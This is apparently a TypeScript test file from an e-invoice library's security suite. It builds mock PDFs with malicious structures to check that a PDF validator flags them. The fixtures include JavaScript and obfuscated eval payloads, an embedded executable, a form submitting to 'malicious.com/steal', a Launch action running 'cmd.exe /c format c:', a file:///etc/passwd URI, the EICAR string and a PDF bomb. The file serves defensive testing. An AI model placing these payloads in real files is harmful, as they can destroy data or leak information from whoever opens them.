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351
test/suite/einvoice_security/test.sec-03.pdf-malware.ts
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351
test/suite/einvoice_security/test.sec-03.pdf-malware.ts
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import { tap } from '@git.zone/tstest/tapbundle';
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import * as plugins from '../plugins.js';
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import { EInvoice } from '../../../ts/index.js';
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import { PerformanceTracker } from '../performance.tracker.js';
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import * as path from 'path';
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const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
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tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async (t) => {
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const einvoice = new EInvoice();
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// Test 1: Detect JavaScript in PDF
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const javascriptDetection = await performanceTracker.measureAsync(
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'javascript-in-pdf-detection',
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async () => {
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// Create a mock PDF with JavaScript content
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const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithJS);
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return {
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detected: result?.hasJavaScript || false,
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blocked: result?.blocked || false,
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threat: 'javascript'
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};
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} catch (error) {
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// If it throws, that's also a valid security response
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return {
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detected: true,
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blocked: true,
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threat: 'javascript',
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error: error.message
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};
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}
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}
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);
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t.ok(javascriptDetection.detected || javascriptDetection.blocked, 'JavaScript in PDF was detected or blocked');
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// Test 2: Detect embedded executables
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const embeddedExecutable = await performanceTracker.measureAsync(
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'embedded-executable-detection',
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async () => {
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// Create a mock PDF with embedded EXE
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const pdfWithExe = createMockPDFWithContent(
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'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithExe);
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return {
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detected: result?.hasExecutable || false,
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blocked: result?.blocked || false,
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threat: 'executable'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'executable',
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error: error.message
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};
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}
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}
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);
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t.ok(embeddedExecutable.detected || embeddedExecutable.blocked, 'Embedded executable was detected or blocked');
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// Test 3: Detect suspicious form actions
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const suspiciousFormActions = await performanceTracker.measureAsync(
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'suspicious-form-actions',
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async () => {
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// Create a mock PDF with form that submits to external URL
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const pdfWithForm = createMockPDFWithContent(
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'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithForm);
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return {
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detected: result?.hasSuspiciousForm || false,
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blocked: result?.blocked || false,
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threat: 'form-action'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'form-action',
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error: error.message
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};
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}
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}
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);
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t.ok(suspiciousFormActions.detected || suspiciousFormActions.blocked, 'Suspicious form actions were detected or blocked');
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// Test 4: Detect launch actions
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const launchActions = await performanceTracker.measureAsync(
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'launch-action-detection',
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async () => {
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// Create a mock PDF with launch action
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const pdfWithLaunch = createMockPDFWithContent(
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'/OpenAction <</Type /Action /S /Launch /F (cmd.exe) /P (/c format c:)>>'
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithLaunch);
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return {
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detected: result?.hasLaunchAction || false,
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blocked: result?.blocked || false,
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threat: 'launch-action'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'launch-action',
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error: error.message
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};
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}
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}
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);
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t.ok(launchActions.detected || launchActions.blocked, 'Launch actions were detected or blocked');
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// Test 5: Detect URI actions pointing to malicious sites
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const maliciousURIs = await performanceTracker.measureAsync(
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'malicious-uri-detection',
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async () => {
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const suspiciousURIs = [
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'javascript:void(0)',
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'file:///etc/passwd',
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'http://malware-site.com',
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'ftp://anonymous@evil.com'
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];
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const results = [];
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for (const uri of suspiciousURIs) {
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const pdfWithURI = createMockPDFWithContent(
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`/Annots [<</Type /Annot /Subtype /Link /A <</S /URI /URI (${uri})>>>>]`
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithURI);
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results.push({
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uri,
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detected: result?.hasSuspiciousURI || false,
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blocked: result?.blocked || false
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});
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} catch (error) {
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results.push({
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uri,
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detected: true,
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blocked: true,
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error: error.message
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});
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}
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}
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return results;
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}
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);
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maliciousURIs.forEach(result => {
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t.ok(result.detected || result.blocked, `Suspicious URI ${result.uri} was detected or blocked`);
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});
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// Test 6: Detect embedded Flash content
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const flashContent = await performanceTracker.measureAsync(
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'flash-content-detection',
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async () => {
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const pdfWithFlash = createMockPDFWithContent(
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'/Annots [<</Type /Annot /Subtype /RichMedia /RichMediaContent <</Assets <</Names [(malicious.swf)]>>>>>>]'
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithFlash);
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return {
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detected: result?.hasFlash || false,
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blocked: result?.blocked || false,
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threat: 'flash-content'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'flash-content',
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error: error.message
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};
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}
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}
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);
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t.ok(flashContent.detected || flashContent.blocked, 'Flash content was detected or blocked');
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// Test 7: Detect encrypted/obfuscated content
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const obfuscatedContent = await performanceTracker.measureAsync(
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'obfuscated-content-detection',
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async () => {
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// Create a PDF with obfuscated JavaScript
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const obfuscatedJS = Buffer.from('eval(atob("YWxlcnQoJ21hbGljaW91cycpOw=="))').toString('hex');
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const pdfWithObfuscation = createMockPDFWithContent(
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`/JS <${obfuscatedJS}>`
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithObfuscation);
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return {
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detected: result?.hasObfuscation || false,
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blocked: result?.blocked || false,
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threat: 'obfuscation'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'obfuscation',
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error: error.message
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};
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}
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}
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);
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t.ok(obfuscatedContent.detected || obfuscatedContent.blocked, 'Obfuscated content was detected or blocked');
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// Test 8: Test EICAR test file
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const eicarTest = await performanceTracker.measureAsync(
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'eicar-test-file-detection',
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async () => {
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// EICAR test string (safe test pattern for antivirus)
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const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
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const pdfWithEicar = createMockPDFWithContent(
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`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfWithEicar);
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return {
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detected: result?.hasMalwareSignature || false,
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blocked: result?.blocked || false,
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threat: 'eicar-test'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'eicar-test',
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error: error.message
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};
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}
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}
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);
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t.ok(eicarTest.detected || eicarTest.blocked, 'EICAR test pattern was detected or blocked');
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// Test 9: Size-based attacks (PDF bombs)
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const pdfBomb = await performanceTracker.measureAsync(
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'pdf-bomb-detection',
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async () => {
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// Create a mock PDF with recursive references that could explode in size
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const pdfBombContent = createMockPDFWithContent(
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'/Pages <</Type /Pages /Kids [1 0 R 1 0 R 1 0 R 1 0 R 1 0 R] /Count 1000000>>'
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);
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try {
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const result = await einvoice.validatePDFSecurity(pdfBombContent);
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return {
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detected: result?.isPDFBomb || false,
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blocked: result?.blocked || false,
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threat: 'pdf-bomb'
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};
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} catch (error) {
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return {
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detected: true,
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blocked: true,
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threat: 'pdf-bomb',
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error: error.message
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};
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}
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}
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);
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t.ok(pdfBomb.detected || pdfBomb.blocked, 'PDF bomb was detected or blocked');
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// Test 10: Test with real invoice PDFs from corpus
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const corpusValidation = await performanceTracker.measureAsync(
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'corpus-pdf-validation',
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async () => {
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const corpusPath = path.join(__dirname, '../../assets/corpus');
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const results = {
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clean: 0,
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suspicious: 0,
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errors: 0
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};
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// Test a few PDFs from corpus (in real scenario, would test more)
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const testPDFs = [
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'ZUGFeRDv2/correct/Facture_DOM_BASICWL.pdf',
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'ZUGFeRDv1/correct/Intarsys/ZUGFeRD_1p0_BASIC_Einfach.pdf'
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];
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for (const pdfPath of testPDFs) {
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try {
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const fullPath = path.join(corpusPath, pdfPath);
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// In real implementation, would read the file
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const result = await einvoice.validatePDFSecurity(fullPath);
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if (result?.isClean) {
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results.clean++;
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} else if (result?.hasSuspiciousContent) {
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results.suspicious++;
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}
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} catch (error) {
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results.errors++;
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}
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}
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return results;
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}
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);
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t.ok(corpusValidation.clean > 0 || corpusValidation.errors > 0, 'Corpus PDFs were validated');
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t.equal(corpusValidation.suspicious, 0, 'No legitimate invoices marked as suspicious');
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// Print performance summary
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performanceTracker.printSummary();
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});
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// Helper function to create mock PDF content
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function createMockPDFWithContent(content: string): Buffer {
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const pdfHeader = '%PDF-1.4\n';
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const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
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const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
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const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
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const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
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return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
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}
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// Run the test
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tap.start();
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